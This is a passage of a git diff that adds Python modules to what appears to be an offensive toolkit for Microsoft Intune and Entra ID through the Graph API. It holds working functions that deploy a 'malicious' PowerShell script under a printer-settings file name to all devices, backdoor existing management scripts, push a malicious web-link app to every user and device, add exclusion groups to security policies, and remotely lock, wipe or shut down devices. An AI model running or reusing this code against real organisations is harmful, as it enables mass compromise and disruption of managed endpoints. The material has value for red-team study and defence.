: {setting_text}") + else: + print(f"{setting_text} - {value_field}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-lapsaccountprotectionpolicyrules +def display_lapsaccountprotectionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command") + return + + print_yellow("[*] Display-LAPSAccountProtectionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", + "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", + "device_vendor_msft_laps_policies_backupdirectory": { + "description": "Backup Directory", + "values": { + "0": "Disabled (password will not be backed up)", + "1": "Backup the password to Azure AD only", + "2": "Backup the password to Active Directory only" + } + }, + "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days", + "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)", + "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": { + "description": "Password Expiration Protection", + "values": { + "0": "Password Expiration Protection Disabled", + "1": "Password Expiration Protection Enabled" + } + }, + "device_vendor_msft_laps_policies_adpasswordencryptionenabled": { + "description": "AD Password Encryption", + "values": { + "0": "AD Password Encryption Disabled", + "1": "AD Password Encryption Enabled" + } + }, + "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal", + "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size", + "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name", + "device_vendor_msft_laps_policies_passwordcomplexity": { + "description": "Password Complexity", + "values": { + "1": "Large letters", + "2": "Large letters + small letters", + "3": "Large letters + small letters + numbers", + "4": "Large letters + small letters + numbers + special characters", + "5": "Large letters + small letters + numbers + special characters (improved readability)" + } + }, + "device_vendor_msft_laps_policies_passwordlength": "Password Length", + "device_vendor_msft_laps_policies_postauthenticationactions": { + "description": "Post Authentication Actions", + "values": { + "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.", + "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.", + "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted." + } + }, + "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + setting_instance = setting.get('settingInstance') + setting_def_id = setting_instance.get('settingDefinitionId') + if setting_instance and setting_def_id: + if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance": + choice_value = setting_instance.get('choiceSettingValue', {}).get('value') + if choice_value and setting_def_id in settings_map: + setting_text = settings_map[setting_def_id] + if isinstance(setting_text, dict): + setting_description = setting_text.get('description', setting_def_id) + setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value) + print(f"{setting_description}: {setting_value}") + else: + print(f"{setting_text}: {choice_value}") + children = setting_instance.get('choiceSettingValue', {}).get('children', []) + for child in children: + child_def_id = child.get('settingDefinitionId') + if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": + simple_value = child.get('simpleSettingValue', {}).get('value') + if simple_value and child_def_id in settings_map: + mapped_value = settings_map[child_def_id] + if isinstance(mapped_value, dict): + description = mapped_value.get('description', child_def_id) + value = mapped_value['values'].get(str(simple_value), simple_value) + print(f"{description}: {value}") + else: + print(f"{mapped_value}: {simple_value}") + elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": + simple_value = setting_instance.get('simpleSettingValue', {}).get('value') + if simple_value and setting_def_id in settings_map: + mapped_value = settings_map[setting_def_id] + if isinstance(mapped_value, dict): + description = mapped_value.get('description', setting_def_id) + value = mapped_value['values'].get(str(simple_value), simple_value) + print(f"{description}: {value}") + else: + print(f"{mapped_value}: {simple_value}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-usergroupaccountprotectionpolicyrules +def display_usergroupaccountprotectionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command") + return + + print_yellow("[*] Display-UserGroupAccountProtectionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += f"?$select={args.select}" + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': get_user_agent(args) + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + settings = response.json().get('value', []) + local_groups = [] + for setting in settings: + group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', []) + for group_setting in group_setting_collection: + children = group_setting.get('children', []) + for child in children: + child_children = child.get('groupSettingCollectionValue', []) + for child_child in child_children: + for item in child_child.get('children', []): + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype": + choice_value = item.get('choiceSettingValue', {}).get('value', '') + description = "Users/Groups" if choice_value.endswith("_users") else "Manual" + print(f"User selection type: {description}") + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action": + choice_value = item.get('choiceSettingValue', {}).get('value', '') + action_map = { + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)" + } + action = action_map.get(choice_value, choice_value) + print(f"Group and user action: {action}") + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc": + group_map = { + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests" + } + for choice in item.get('choiceSettingCollectionValue', []): + group = group_map.get(choice.get('value', ''), choice.get('value', '')) + local_groups.append(group) + if local_groups: + print(f"Local groups: {', '.join(local_groups)}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-exclusiongrouptopolicy +def add_exclusiongrouptopolicy(args): + if not args.id: + print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command") + return + + print_yellow("[*] Add-ExclusionGroupToPolicy") + print("=" * 80) + + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments" + assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + # get the current assignments so we don't mess up day-to-day ops + response = requests.get(assignments_api_url, headers=headers) + if response.ok: + current_assignments = response.json().get('value', []) + else: + print_red(f"[-] Failed to retrieve current assignments: {response.status_code}") + print_red(response.text) + print("=" * 80) + return + + try: + groupid = input("\nEnter Group ID To Exclude: ").strip() + except KeyboardInterrupt: + sys.exit() + + new_assignments = current_assignments + [ + { + "target": { + "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", + "groupId": groupid + } + } + ] + + body = { + "assignments": new_assignments + } + + response = requests.post(assign_api_url, headers=headers, json=body) + if response.ok: + print_green(f"\n[+] Excluded group added to policy rules") + else: + print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# deploy-maliciousscript +def deploy_maliciousscript(args): + if not args.script: + print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command") + return + + print_yellow("[*] Deploy-MaliciousScript") + print("=" * 80) + script_content = read_file_content(args.script) + + try: + display_name = input("\nEnter Script Display Name: ").strip() + description = input("Enter Script Description: ").strip() + runasaccount = input("Run As Account (user/system): ").strip().lower() + sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower() + runas32bit = input("Run As 64-bit? (true/false): ").strip().lower() + if runasaccount not in ['user', 'system']: + print("Invalid input for Run As Account. Defaulting to 'user.") + runasaccount = 'user' + if sigcheck not in ['true', 'false']: + print("Invalid input for Enforce Signature Check. Defaulting to 'false'.") + sigcheck = 'false' + if runas32bit not in ['true', 'false']: + print("Invalid input for Run As 64-bit. Defaulting to 'false'.") + runas32bit = 'false' + except KeyboardInterrupt: + sys.exit() + + user_agent = get_user_agent(args) + url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Content-Type": "application/json", + "User-Agent": user_agent + } + + encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') + script_payload = { + "@odata.type": "#microsoft.graph.deviceManagementScript", + "displayName": display_name, + "description": description, + "runSchedule": { + "@odata.type": "microsoft.graph.runSchedule" + }, + "scriptContent": encoded_script_content, + "runAsAccount": runasaccount, + "enforceSignatureCheck": sigcheck == 'true', + "fileName": "Deploy-PrinterSettings.ps1", + "runAs32Bit": runas32bit == 'true' + } + + response = requests.post(url_create, headers=headers, json=script_payload) + if response.status_code == 201: + print_green("\n[+] Script created successfully") + script_id = response.json().get('id') + print_green(f"[+] Script ID: {script_id}") + url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign" + + try: + assignments = [] + assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower() + if assign_all_devices == 'yes': + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" + } + }) + assign_all_users = input("Assign to all users? (yes/no): ").strip().lower() + if assign_all_users == 'yes': + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" + } + }) + assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower() + if assign_specific_group == 'yes': + group_id = input("Enter Group ID: ").strip() + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.groupAssignmentTarget", + "groupId": group_id + } + }) + add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower() + if add_group_exclusion == 'yes': + exclusion_group_id = input("Enter Group ID to Exclude: ").strip() + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", + "groupId": exclusion_group_id + } + }) + + except KeyboardInterrupt: + sys.exit() + + assignment_payload = { + "deviceManagementScriptAssignments": assignments + } + + response = requests.post(url_assign, headers=headers, json=assignment_payload) + if response.status_code == 200: + print_green("\n[+] Script assigned successfully") + else: + print_red(f"[-] Failed to assign script: {response.status_code}") + print(response.text) + else: + print_red(f"[-] Failed to create script: {response.status_code}") + print(response.text) + print("=" * 80) + +# backdoor-script +def backdoor_script(args): + if not args.id or not args.script: + print_red("[-] Error: --id and --script required for Backdoor-Script command") + return + + print_yellow("[*] Backdoor-Script") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + # 1. get current target script settings and encode new script content so we don't override anything + # - could add option to alter pre-existing settings + try: + script_content = read_file_content(args.script) + encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') + except Exception as e: + print_red(f"[-] Error reading or encoding script file: {e}") + return + + response = requests.get(api_url, headers=headers) + if response.ok: + json_data = response.json() + json_data.pop('@odata.context', None) # remove or 400 err + json_data.pop('id', None) # remove or 400 err + json_data.pop('createdDateTime', None) # remove or 400 err + json_data.pop('lastModifiedDateTime', None) # remove or 400 err + json_data['scriptContent'] = encoded_script_content # replace with our new script content + else: + print_red(f"[-] HTTP Error: {response.status_code}") + print_red(response.text) + return + + # 2. patch script with updated script content + patch = requests.patch(api_url, headers=headers, json=json_data) + if patch.ok: + print_green("\n[+] Patched device management script successfully\n") + json_data = patch.json() + script_content = json_data.get('scriptContent') + if script_content: + decoded_script_content = base64.b64decode(script_content).decode('utf-8') + json_data['scriptContent'] = decoded_script_content + json_data.pop('@odata.context', None) + json_data.pop('scriptContent', None) + for key, value in json_data.items(): + print(f"{key} : {value}") + if script_content: + print_green("scriptContent :\n") + print(decoded_script_content) + else: + print_red(f"[-] Error patching device management script: {patch.status_code}") + print_red(patch.text) + print("=" * 80) + +# deploy-maliciousweblink +def deploy_maliciousweblink(args): + print_yellow("[*] Deploy-MaliciousWebLink") + print("=" * 80) + + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + try: + # all required + appUrl = input("\nApp URL: ").strip() + description = input("Description: ").strip() + displayName = input("Display Name: ").strip() + publisher = input("Publisher: ").strip() + isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower() + if isFeatured not in ['true', 'false']: + print("Invalid input for Company Portal. Defaulting to 'False'.") + isFeatured = 'False' + except KeyboardInterrupt: + sys.exit() + + json_body = { + "@odata.type": "#microsoft.graph.windowsWebApp", + "appUrl": appUrl, + "categories": [], + "description": description, + "developer": "", + "displayName": displayName, + "informationUrl": "", + "isFeatured": isFeatured, + "notes": "", + "owner": "", + "privacyInformationUrl": "", + "publisher": publisher, + "roleScopeTagIds": [] + } + + response = requests.post(api_url, json=json_body, headers=headers) + if response.ok: + result = response.json() + print_green("\n[+] Malicious web link app deployed successfully") + + appid = result['id'] + print(f"\nApp ID: {appid}") + + assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign" + assign_body = { + "mobileAppAssignments": [ + { + "@odata.type": "#microsoft.graph.mobileAppAssignment", + "target": { + "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" + }, + "intent": "Required", + "settings": None + }, + { + "@odata.type": "#microsoft.graph.mobileAppAssignment", + "target": { + "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" + }, + "intent": "Required", + "settings": None + } + ] + } + + assign = requests.post(assign_url, json=assign_body, headers=headers) + if assign.ok: + print_green("\n[+] Web link app assigned successfully") + else: + print_red(f"\n[-] Failed to assign web link app: {response.status_code}") + print_red(response.text) + else: + print_red(f"[-] Failed to create web link app: {response.status_code}") + print_red(response.text) + + print("=" * 80) + +# deploy-maliciouswin32app +# - user will have to packagae app prior +# https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/ +# https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/ +# +# POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/ +# {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"} +# -> need to add install/uninstall instruction batch script +def deploy_maliciouswin32msi(args): # not working obvs + url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" + # add the option to be available in the company portal for download + data = { + "@odata.type": "#microsoft.graph.win32LobApp", + "applicableArchitectures": "x64,x86", + "allowAvailableUninstall": False, + "categories": [], + "description": "IntuneMessageBox", + "developer": "", + "displayName": "IntuneMessageBox", + "displayVersion": "", + "fileName": "IntuneMessageBox.intunewin", + "installCommandLine": "IntuneMessageBox.exe", + "installExperience": { + "deviceRestartBehavior": "suppress", + "maxRunTimeInMinutes": 30, + "runAsAccount": "system" + }, + "informationUrl": "", + "isFeatured": False, + "roleScopeTagIds": [], + "notes": "", + "minimumSupportedWindowsRelease": "1607", + "msiInformation": None, + "owner": "", + "privacyInformationUrl": "", + "publisher": "ECorp", + "returnCodes": [ + {"returnCode": 0, "type": "success"}, + {"returnCode": 1707, "type": "success"}, + {"returnCode": 3010, "type": "softReboot"}, + {"returnCode": 1641, "type": "hardReboot"}, + {"returnCode": 1618, "type": "retry"} + ], + "rules": [ + { + "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule", + "ruleType": "detection", + "operator": "notConfigured", + "check32BitOn64System": False, + "operationType": "exists", + "comparisonValue": None, + "fileOrFolderName": "IntuneMessageBox.exe", + "path": "C:\\Program Files\\IntuneMessageBox.exe" + } + ], + "runAs32Bit": False, + "setupFilePath": "IntuneMessageBox.exe", + "uninstallCommandLine": "IntuneMessageBox.exe" + } + +# deploy-maliciouswin32msi +# - todo +# def deploy_maliciouswin32msi(args): + +# update-deviceconfig +def update_deviceconfig(args): + if not args.id: + print_red("[-] Error: --id required for Update-DeviceConfig command") + return + + properties = [ + { + "Property": "ownerType", + "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal." + }, + { + "Property": "managedDeviceOwnerType", + "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal." + }, + { + "Property": "managedDeviceName", + "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name." + }, + { + "Property": "notes", + "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported." + }, + { + "Property": "roleScopeTagIds", + "Description": "List of Scope Tag IDs for this Device instance." + }, + { + "Property": "configurationManagerClientHealthState", + "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent." + }, + { + "Property": "configurationManagerClientInformation", + "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent." + } + ] + + print_yellow("[*] Update-DeviceConfig") + print("=" * 80) + print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n") + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + table = [[prop["Property"], prop["Description"]] for prop in properties] + separator = ['-' * 20, '-' * 50] + tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left")) + print(tablenew) + + try: + prop = input("\nEnter Property: ").strip() + newvalue = input("Enter New Value: ").strip() + except KeyboardInterrupt: + sys.exit() + + json_body = { + prop : newvalue + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Device config updated successfully") + + else: + print_red(f"\n[-] Failed to update device config: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# reboot-device +def reboot_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Reboot-Device command") + return + + print_yellow("[*] Reboot-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device reboot initiated successfully") + else: + print_red(f"[-] Failed to initiate device reboot: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# retire-device +def retire_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Retire-Device command") + return + + print_yellow("[*] Retire-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device retire initiated successfully") + else: + print_red(f"[-] Failed to initiate device retire: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# lock-device +def lock_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Lock-Device command") + return + print_yellow("[*] Lock-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device lock initiated successfully") + else: + print_red(f"[-] Failed to initiate device lock: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# shutdown-device +def shutdown_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Shutdown-Device command") + return + + print_yellow("[*] Shutdown-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device shutdown initiated successfully") + else: + print_red(f"[-] Failed to initiate device shutdown: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add more from +# https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta \ No newline at end of file diff --git a/Graphpython/commands/locators.py b/Graphpython/commands/locators.py new file mode 100644 index 0000000..13e3004 --- /dev/null +++ b/Graphpython/commands/locators.py @@ -0,0 +1,180 @@ +import requests +import os +from bs4 import BeautifulSoup +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +############ +# Locators # +############ + +def locate_objectid(args): + if not args.id: + print_red("[-] Error: --id required for Locate-ObjectID command") + return + + print_yellow("[*] Locate-ObjectID") + print("=" * 80) + graph_api_url = f"https://graph.microsoft.com/v1.0/directoryObjects/{args.id}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(graph_api_url, headers=headers) + response.raise_for_status() + object_data = response.json() + object_type = object_data.get('@odata.type', '').split('.')[-1] + + print_green(f"Object Type: {object_type}") + print(f"ID: {object_data.get('id', 'N/A')}") + print(f"Display Name: {object_data.get('displayName', 'N/A')}") + + if object_type == 'user': + print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}") + print(f"Mail: {object_data.get('mail', 'N/A')}") + print(f"Job Title: {object_data.get('jobTitle', 'N/A')}") + print(f"Department: {object_data.get('department', 'N/A')}") + print(f"Office Location: {object_data.get('officeLocation', 'N/A')}") + print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}") + print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}") + print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}") + elif object_type == 'group': + print(f"Mail: {object_data.get('mail', 'N/A')}") + print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}") + print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}") + print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}") + print(f"Visibility: {object_data.get('visibility', 'N/A')}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + print(f"Description: {object_data.get('description', 'N/A')}") + print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}") + print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}") + elif object_type == 'servicePrincipal': + print(f"App ID: {object_data.get('appId', 'N/A')}") + print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}") + print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}") + print(f"Homepage: {object_data.get('homepage', 'N/A')}") + print(f"Login URL: {object_data.get('loginUrl', 'N/A')}") + print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}") + print(f"App Roles Count: {len(object_data.get('appRoles', []))}") + print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}") + print(f"Tags: {', '.join(object_data.get('tags', []))}") + print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") + elif object_type == 'application': + print(f"App ID: {object_data.get('appId', 'N/A')}") + print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}") + print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}") + print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}") + print(f"App Roles Count: {len(object_data.get('appRoles', []))}") + print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}") + print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + elif object_type == 'device': + print(f"Device ID: {object_data.get('deviceId', 'N/A')}") + print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}") + print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}") + print(f"Trust Type: {object_data.get('trustType', 'N/A')}") + print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}") + print(f"Compliance State: {object_data.get('complianceState', 'N/A')}") + print(f"Is Managed: {object_data.get('isManaged', 'N/A')}") + print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}") + print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}") + + except requests.exceptions.HTTPError as e: + if e.response.status_code == 404: + print_red(f"[-] Object with ID {args.id} not found") + else: + print_red(f"[-] An error occurred while retrieving object details: {str(e)}") + except requests.exceptions.RequestException as e: + print_red(f"[-] An error occurred while making the request: {str(e)}") + + print("=" * 80) + +def locate_permissionid(args): + if not args.id: + print_red("[-] Error: --id argument is required for Locate-PermissionID command") + return + + print_yellow("[*] Locate-PermissionID") + print("=" * 80) + + def parse_html(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + + for h3 in soup.find_all('h3'): + title = h3.text + table = h3.find_next('table') + headers = [th.text for th in table.find('thead').find_all('th')] + rows = table.find('tbody').find_all('tr') + + permission_data = {} + for row in rows: + cells = row.find_all('td') + category = cells[0].text + application = cells[1].text + delegated = cells[2].text + permission_data[category] = { + headers[1]: application, + headers[2]: delegated + } + permissions[title] = permission_data + + return permissions + + def highlight(text, should_highlight): + if should_highlight: + return f"\033[92m{text}\033[0m" + return text + + def print_permission(permission, data, app_ids, delegated_ids): + print_green(f"{permission}") + for category, values in data.items(): + print(f" {category}:") + app_highlight = data['Identifier']['Application'] in app_ids + delegated_highlight = data['Identifier']['Delegated'] in delegated_ids + print(f" Application: {highlight(values['Application'], app_highlight)}") + print(f" Delegated: {highlight(values['Delegated'], delegated_highlight)}") + print() + + identifiers = args.id.split(',') + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"[-] The file {file_path} does not exist.") + print("=" * 80) + return + except Exception as e: + print_red(f"[-] An error occurred: {e}") + print("=" * 80) + return + + permissions = parse_html(content) + app_ids = [] + delegated_ids = [] + + for permission, data in permissions.items(): + if data['Identifier']['Application'] in identifiers: + app_ids.append(data['Identifier']['Application']) + if data['Identifier']['Delegated'] in identifiers: + delegated_ids.append(data['Identifier']['Delegated']) + + found_permissions = False + + for permission, data in permissions.items(): + if data['Identifier']['Application'] in app_ids or data['Identifier']['Delegated'] in delegated_ids: + print_permission(permission, data, app_ids, delegated_ids) + found_permissions = True + + if not found_permissions: + print_red("[-] Permission ID not found") + + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/outsider.py b/Graphpython/commands/outsider.py new file mode 100644 index 0000000..eb228c0 --- /dev/null +++ b/Graphpython/commands/outsider.py @@ -0,0 +1,255 @@ +import requests +from tqdm import tqdm +import dns.resolver +import os +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import get_tenant_domains + +############ +# Outsider # +############ + 